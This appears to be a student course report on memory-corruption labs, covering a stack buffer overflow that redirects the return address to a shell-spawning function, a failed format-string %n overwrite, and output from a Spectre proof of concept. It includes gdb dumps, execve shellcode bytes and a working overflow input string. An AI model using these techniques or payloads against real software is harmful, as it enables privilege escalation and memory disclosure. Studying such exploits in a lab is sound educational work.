Farhanmadar Diwan
Mengting Xia
Nick Hoo

Project 2
CS I4900

Part 1:

When following command is used for part 1:

```
#include <stdio.h>

Int main()
{
        char buffer[16];
        scanf("%s",buffer);
        printf("string read: %s\n",buffer);
        return 0;
}
```

On having input of 24 “A”, we discovered that the buffer is overflowed and until the point of return address.

```
(gdb) x /128bx buffer
0x7fffffffe3e0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffe3e8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffe3f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffe3f8: 0x00    0x1d    0xe1    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffe400: 0xe8    0xe4    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffe408: 0x00    0x00    0x00    0x00    0x01    0x00    0x00    0x00
0x7fffffffe410: 0x45    0x51    0x55    0x55    0x55    0x55    0x00    0x00
0x7fffffffe418: 0xcf    0x17    0xe1    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffe420: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffe428: 0x77    0xb0    0x45    0x7d    0xb4    0xa7    0x8d    0xd7
0x7fffffffe430: 0x60    0x50    0x55    0x55    0x55    0x55    0x00    0x00
0x7fffffffe438: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffe440: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffe448: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffe450: 0x77    0xb0    0x65    0x16    0xe1    0xf2    0xd8    0x82
0x7fffffffe458: 0x77    0xb0    0xe3    0xe7    0xdc    0xe2    0xd8    0x82
```

Here the return address is ..ffe3f8 and for exploits we need to change the return address to ...ffe3e0. We are not able to resolve that as the input is ASCII only and it is converted to HEX via scanf. So, in order to override with the desired value of HEX, we need to input ASCII value

...ffe3e0 and unfortunately the ASCII value we got back is not ideal to be entered as input. See picture below

```
adminuser@kali:~/Desktop/project-2/Part_1$ echo -e "\xe0\xe3\xff\xff\xff\x7f"
�����
```

We modified the code to use strcpy instead and we were able to change the return address using a python script. Only issue was we weren't able to find a shellcode which is 20 bytes or lower to allow us to exploit the vulnerability in code in order to gain escalated privilege using shell. If we had proper shell code, we could've replaced the "A" with \x90 which is for NOP and can allow the program to jump to a NOP pointer and it will execute the shell followed by the NOP. Below is the screenshot of buffer as to we were able to change the return address

```
(gdb) x /128bx buffer
0x7fffffffe3b0: 0x41    0x41    0x41    0x41    0x31    0xc9    0x6a    0x0b
0x7fffffffe3b8: 0x58    0x51    0x68    0x2f    0x2f    0x73    0x68    0x68
0x7fffffffe3c0: 0x2f    0x62    0x69    0x6e    0x89    0xe3    0xcd    0x80
0x7fffffffe3c8: 0xb0    0xe3    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffe3d0: 0xb8    0xe4    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffe3d8: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00
0x7fffffffe3e0: 0x45    0x51    0x55    0x55    0x55    0x55    0x00    0x00
0x7fffffffe3e8: 0xcf    0x17    0xe1    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffe3f0: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffe3f8: 0xbb    0xb3    0x48    0x7a    0x76    0x0a    0x24    0xef
0x7fffffffe400: 0x60    0x50    0x55    0x55    0x55    0x55    0x00    0x00
0x7fffffffe408: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffe410: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffe418: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffe420: 0xbb    0xb3    0xc8    0x1e    0x23    0x5f    0x71    0xba
0x7fffffffe428: 0xbb    0xb3    0xee    0xe0    0x1e    0x4f    0x71    0xba
```

On further troubleshooting, we were able successfully perform an exploit to get shellcode working. Below are the steps we performed:

- Compile part_1.c file.
- gcc -g -z execstack -fno-stack-protector -o test part_1.c
- Enter gdb debug mode, get the return address and lonely function (start a shell) address and replace the return address to lonely function.
- gdb test
- Set up breakpoints at line 10 and line 11
  - b 10
  - b 11
- run
- continue

```
(gdb) disassemble lonely
Dump of assembler code for function lonely:
   0x000055555555476d <+0>:     push   %rbp
   0x000055555555476e <+1>:     mov    %rsp,%rbp
   0x0000555555554771 <+4>:     sub    $0x10,%rsp
   0x0000555555554775 <+8>:     lea    0x101(%rip),%rax        # 0x55555555487d
   0x000055555555477c <+15>:    mov    %rax,-0x10(%rbp)
   0x0000555555554780 <+19>:    movq   $0x0,-0x8(%rbp)
   0x0000555555554788 <+27>:    mov    -0x10(%rbp),%rax
   0x000055555555478c <+31>:    lea    -0x10(%rbp),%rcx
   0x0000555555554790 <+35>:    mov    $0x0,%edx
   0x0000555555554795 <+40>:    mov    %rcx,%rsi
   0x0000555555554798 <+43>:    mov    %rax,%rdi
   0x000055555555479b <+46>:    callq  0x5555555545f0 <execve@plt>
   0x00005555555547a0 <+51>:    mov    $0x0,%eax
   0x00005555555547a5 <+56>:    leaveq
   0x00005555555547a6 <+57>:    retq
End of assembler dump.
(gdb)
```

```
(gdb) x /128bx buffer
0x7fffffffde30: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffde38: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffde40: 0x00    0xde    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffde48: 0xc0    0x47    0x55    0x55    0x55    0x55    0x00    0x00
0x7fffffffde50: 0x48    0xdf    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffde58: 0x00    0x00    0x00    0x00    0x01    0x00    0x00    0x00
0x7fffffffde60: 0xe0    0x47    0x55    0x55    0x55    0x55    0x00    0x00
0x7fffffffde68: 0xf7    0x3b    0xa0    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffde70: 0x01    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde78: 0x48    0xdf    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffde80: 0x00    0x00    0x00    0x00    0x01    0x00    0x00    0x00
0x7fffffffde88: 0xa7    0x47    0x55    0x55    0x55    0x55    0x00    0x00
0x7fffffffde90: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde98: 0x79    0x52    0x9e    0xf0    0x99    0xb1    0x7c    0x3d
0x7fffffffdea0: 0x30    0x46    0x55    0x55    0x55    0x55    0x00    0x00
0x7fffffffdea8: 0x40    0xdf    0xff    0xff    0xff    0x7f    0x00    0x00
(gdb) info frame
Stack level 0, frame at 0x7fffffffde50:
 rip = 0x555555554766 in f (part_1.c:11); saved rip = 0x5555555547c0
 called by frame at 0x7fffffffde10
 source language c.
 Arglist at 0x7fffffffde40, args:
 Locals at 0x7fffffffde40, Previous frame's sp is 0x7fffffffde50
 Saved registers:
  rbp at 0x7fffffffde40, rip at 0x7fffffffde48
(gdb)
```

• we get the return address at 0x7fffffffde48 and lonely function address 0x000055555555476d

• set {void*} 0x7fffffffde48 = 0x000055555555476d

• continue

• we start a shell

If we want to achieve this when we input a malicious string

• The difference between initial address and return address is 24 DEC. If we provide 32 characters, we will fill up the buffer.

• We can input the string AAAAAAAAAAAAAAAAAAAAAAAAmGUUUU[space][space].

The simulation is listed below.

```
hang@hang-VirtualBox:~/Downloads/CSCI4900/final$ gcc -z execstack -fno-stack-protector -o test part_1.c
hang@hang-VirtualBox:~/Downloads/CSCI4900/final$ setarch x86_64 -R ./test
Please input 16 chars
AAAAAAAAAAAAAAAAAAAAAAAAmGUUUU
$
```

Part 2:

The figure below shows the location of the buffer in the memory at the execution of char buffer[n] which is 0x1c.

```
   0x00005555555546d9 <+15>:    movl   $0x80,-0x1c(%rbp)
=> 0x00005555555546e0 <+22>:    mov    -0x1c(%rbp),%eax
   0x00005555555546e3 <+25>:    cltq
   0x00005555555546e5 <+27>:    sub    $0x1,%rax
   0x00005555555546e9 <+31>:    mov    %rax,-0x18(%rbp)
   0x00005555555546ed <+35>:    mov    -0x1c(%rbp),%eax
```

When Int y = 0 is executed, the location of y is 0x2c.

```
   0x0000555555554733 <+105>:   mov    %rax,-0x28(%rbp)
=> 0x0000555555554737 <+109>:   movl   $0x0,-0x2c(%rbp)
   0x000055555555473e <+116>:   mov    0x2008cb(%rip),%rdx        # 0x555555755010 <stdin@@GLIBC_2.2.5>
   0x0000555555554745 <+123>:   mov    -0x28(%rbp),%rax
   0x0000555555554749 <+127>:   mov    -0x1c(%rbp),%ecx
```

To exploit format strings, one method is to use large strings to overflow the buffer. But in the code below, `fgets` is used which limits the number of bytes for input. The goal here is to overwrite y after the 128-byte buffer is filled in. %x is used to move toward the location of y in the stack.

```c
#include <stdio.h>

int main() {
    const int n = 128;
    int y = 0xdeadc0de;
    char buffer[n];

    fgets(buffer, n, stdin);
    printf(buffer);

    printf("y = %d\n", y);

    return 0;
}
```

First, we have to locate the start of the input string. Here, I use `AAAA.%x` to find out where the input string is.

```
AAAA.%x.%x.%x.%x.%x.%x
AAAA.ffffdc20.f7dcf8d0.1.55756277.f7fe24c0.41414141
y = -559038242
```

`41414141` represents the input string which is `AAAA`. Now I replace the last %x with %n to write the number of bytes before %n into the location.

The address of the buffer is 0x7fffffffdb90. The address of y is 0x7fffffffdc14. The offset between buffer and y is (8 * 16 + 4 = 132). Since the system is little-endian, the y address is written as `\x14\xdc\xff\xff\xff\x7f`. `\x14\xdc\xff\xff\xff\x7f.%x.%x.%x.%x.%x.%n` is the final input to overwrite the local variable in the program. But the result is a segmentation fault. I also tried the address with the number of %x equal to the offset of buffer and y and other methods, but the result is the same.

```
\x14\xdc\xff\xff\xff\x7f.%x.%x.%x.%x.%x.%n
Segmentation fault (core dumped)
```

Part 3:

In order to make a proof of concept for a code to be executed which uses a random value using rand() and use that to access an array.

We used following code for Part 3:

```
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>

unsigned int array_size = 16;

int main()
{
        unsigned int x;
        x = rand() %10;
        double time_spent = 0.0;
        time_t begin = time(NULL);

        while (x < array_size)
        {
                printf("Running the code");
                printf("%hhx\n",x);
                time_t end = time(NULL);
                time_spent = end - begin;
                printf("Runtime \n", time_spent);

                x = rand() %20;
                time_t begin = time(NULL);
        }

        printf("X is larger than array");
        printf("%hhx\n",x);
        time_t end = time(NULL);
        time_spent = end - begin;
```

```
        printf("Time Elasped \n", time_spent);

        return 0;
}
```

The goal of this code was to create an array with size of 16 and we would choose a random number. If the number was lower than 16, the code would be executed with output of time of execution and if the number is higher than array then it would be executed with different run time. The idea was to compare the runtime of the code for different values. Unfortunately, we weren't able to get the values for execution time for each process in output and due to this we weren't able to proceed with the code. We tried different parameters using time_t, count_t,etc but none provided any values for execution time.

Nevertheless, we learned quite a bit about this exploit and came across Spectre and Meltdown exploits which we found through the one source in the citation. We were able to test out the code from one of the github sources and we were able to learn how the exploit happened. We found following output when we ran the code by changing the secret to "Computer Security was best class we took"

```
Reading at malicious_x = 0xfffffffffffffdfb8... Unclear: 0x43='C' score=976
(second best: 0x03='?' score=865)
Reading at malicious_x = 0xfffffffffffffdfb9... Unclear: 0x6F='o' score=990
(second best: 0x03='?' score=865)
Reading at malicious_x = 0xfffffffffffffdfba... Unclear: 0x6D='m' score=992
(second best: 0x03='?' score=875)
Reading at malicious_x = 0xfffffffffffffdfbb... Unclear: 0x70='p' score=964
(second best: 0x00='?' score=928)
Reading at malicious_x = 0xfffffffffffffdfbc... Unclear: 0x75='u' score=994
(second best: 0x03='?' score=837)
Reading at malicious_x = 0xfffffffffffffdfbd... Unclear: 0x74='t' score=997
(second best: 0x03='?' score=907)
Reading at malicious_x = 0xfffffffffffffdfbe... Unclear: 0x65='e' score=985
(second best: 0x03='?' score=858)
Reading at malicious_x = 0xfffffffffffffdfbf... Unclear: 0x72='r' score=994
(second best: 0x03='?' score=896)
Reading at malicious_x = 0xfffffffffffffdfc0... Unclear: 0x20=' ' score=986
(second best: 0x03='?' score=881)
Reading at malicious_x = 0xfffffffffffffdfc1... Unclear: 0x53='S' score=992
(second best: 0x03='?' score=857)
```

```
Reading at malicious_x = 0xffffffffffffdfc2... Unclear: 0x65='e' score=981
(second best: 0x00='?' score=907)
Reading at malicious_x = 0xffffffffffffdfc3... Unclear: 0x63='c' score=974
(second best: 0x03='?' score=878)
Reading at malicious_x = 0xffffffffffffdfc4... Unclear: 0x75='u' score=993
(second best: 0x03='?' score=882)
Reading at malicious_x = 0xffffffffffffdfc5... Unclear: 0x72='r' score=996
(second best: 0x03='?' score=871)
Reading at malicious_x = 0xffffffffffffdfc6... Unclear: 0x69='i' score=990
(second best: 0x03='?' score=875)
Reading at malicious_x = 0xffffffffffffdfc7... Unclear: 0x74='t' score=998
(second best: 0x03='?' score=870)
Reading at malicious_x = 0xffffffffffffdfc8... Unclear: 0x79='y' score=985
(second best: 0x03='?' score=863)
Reading at malicious_x = 0xffffffffffffdfc9... Unclear: 0x20=' ' score=987
(second best: 0x00='?' score=930)
Reading at malicious_x = 0xffffffffffffdfca... Unclear: 0x77='w' score=990
(second best: 0x03='?' score=855)
Reading at malicious_x = 0xffffffffffffdfcb... Unclear: 0x61='a' score=976
(second best: 0x03='?' score=837)
Reading at malicious_x = 0xffffffffffffdfcc... Unclear: 0x73='s' score=991
(second best: 0x03='?' score=834)
Reading at malicious_x = 0xffffffffffffdfcd... Unclear: 0x20=' ' score=989
(second best: 0x03='?' score=849)
Reading at malicious_x = 0xffffffffffffdfce... Unclear: 0x62='b' score=985
(second best: 0x03='?' score=848)
Reading at malicious_x = 0xffffffffffffdfcf... Unclear: 0x65='e' score=987
(second best: 0x03='?' score=882)
Reading at malicious_x = 0xffffffffffffdfd0... Unclear: 0x73='s' score=995
(second best: 0x03='?' score=883)
Reading at malicious_x = 0xffffffffffffdfd1... Unclear: 0x74='t' score=994
(second best: 0x03='?' score=854)
Reading at malicious_x = 0xffffffffffffdfd2... Unclear: 0x20=' ' score=996
(second best: 0x03='?' score=860)
Reading at malicious_x = 0xffffffffffffdfd3... Unclear: 0x63='c' score=977
(second best: 0x03='?' score=874)
```

```
Reading at malicious_x = 0xfffffffffffffdfd4... Unclear: 0x6C='l' score=989
(second best: 0x03='?' score=866)
Reading at malicious_x = 0xfffffffffffffdfd5... Unclear: 0x61='a' score=985
(second best: 0x03='?' score=901)
Reading at malicious_x = 0xfffffffffffffdfd6... Unclear: 0x73='s' score=997
(second best: 0x03='?' score=871)
Reading at malicious_x = 0xfffffffffffffdfd7... Unclear: 0x73='s' score=994
(second best: 0x03='?' score=871)
Reading at malicious_x = 0xfffffffffffffdfd8... Unclear: 0x20=' ' score=988
(second best: 0x00='?' score=963)
Reading at malicious_x = 0xfffffffffffffdfd9... Unclear: 0x77='w' score=991
(second best: 0x03='?' score=848)
Reading at malicious_x = 0xfffffffffffffdfda... Unclear: 0x65='e' score=985
(second best: 0x00='?' score=926)
Reading at malicious_x = 0xfffffffffffffdfdb... Unclear: 0x20=' ' score=983
(second best: 0x02='?' score=795)
Reading at malicious_x = 0xfffffffffffffdfdc... Unclear: 0x74='t' score=993
(second best: 0x03='?' score=887)
Reading at malicious_x = 0xfffffffffffffdfdd... Unclear: 0x6F='o' score=991
(second best: 0x00='?' score=919)
Reading at malicious_x = 0xfffffffffffffdfde... Unclear: 0x6F='o' score=987
(second best: 0x00='?' score=919)
Reading at malicious_x = 0xfffffffffffffdfdf... Unclear: 0x6B='k' score=988
(second best: 0x03='?' score=868)
```

References

[1] "Spectre & Meltdown - Computerphile," 05-Jan-2018. [Online]. Available: https://www.youtube.com/watch?v=I5mRwzVvFGE. [Accessed: 27-May-2021].

[2] "Buffer Overflow Attack - Computerphile," 02-Mar-2016. [Online]. Available: https://www.youtube.com/watch?v=1S0aBV-Waeo. [Accessed: 27-May-2021].

[3] "Exploring Buffer Overflows in C, part two: The exploit," *Tallan.com*, 04-Apr-2019. [Online]. Available: https://www.tallan.com/blog/2019/04/04/exploring-buffer-overflows-in-c-part-two-the-exploit/. [Accessed: 27-May-2021].

[4] "Buffer Overflow Examples, Code execution by shellcode injection - protostar stack5 - 0xRick," *Github.io*. [Online]. Available: https://0xrick.github.io/binary-exploitation/bof5/. [Accessed: 27-May-2021].

[5] "Meltdown and Spectre," *Meltdownattack.com*. [Online]. Available: https://meltdownattack.com/. [Accessed: 27-May-2021].

[6] GitHub. 2021. longld/peda. [online] Available at: <https://github.com/longld/peda> [Accessed 27 May 2021].